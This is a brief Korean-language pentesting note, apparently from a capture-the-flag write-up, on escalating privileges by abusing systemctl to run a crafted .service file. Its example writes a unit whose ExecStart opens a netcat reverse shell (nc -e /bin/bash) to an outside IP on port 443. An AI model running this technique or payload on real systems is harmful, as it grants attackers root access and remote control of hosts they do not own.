Systemctl
์๋น์ค๋ .service ํ์ผ๋ก ์ ์๋จ, Systemctl์ ์ฌ์ฉํ์ฌ systemd์ ์ฐ๊ฒฐํ ๋ค์ ๋ค์ ์ฌ์ฉํ์ฌ ์๋น์ค๋ฅผ ์์, ์๋น์ค๊ฐ ์ํํ๋ ์์ ์ .service ํ์ผ์ ์ํด ์ ์๋จ
์ฆ systemctl์ด ์์ ๊ฒฝ์ฐ ์ ์ฑ์ฝ๋๊ฐ ๋ด๊ธด .service ํ์ผ์ ๋ง๋ ๋ค์ ์คํ์ ํ๋ฉด ๊ถํ ์์น ๊ฐ๋ฅ
์์
pepper@jarvis:/dev/shm$ cat >0xdf.service<<EOF
[Service]
Type=notify
ExecStart=/bin/bash -c 'nc -e /bin/bash 10.10.14.28 443'
KillMode=process
Restart=on-failure
RestartSec=42s
[Install]
WantedBy=multi-user.target
EOF
Last updated